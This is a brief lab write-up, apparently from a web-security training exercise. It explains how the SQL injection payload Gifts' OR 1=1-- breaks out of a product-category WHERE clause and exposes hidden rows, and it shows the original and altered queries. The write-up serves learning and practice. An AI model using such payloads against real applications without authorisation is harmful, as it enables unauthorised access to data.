Lab - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

To break out of the Syntax :

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

We used the following payload :

Gifts' OR 1=1--

Which resulted in the following change in the syntax :

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

The query selects all rows from the “products” table where the category is “Gifts” or where the condition “1=1” is true, which is always true. The double hyphens ”—” signify a comment in SQL, effectively commenting out the rest of the query.

We Solved the lab after sending the edited request using Burp :

---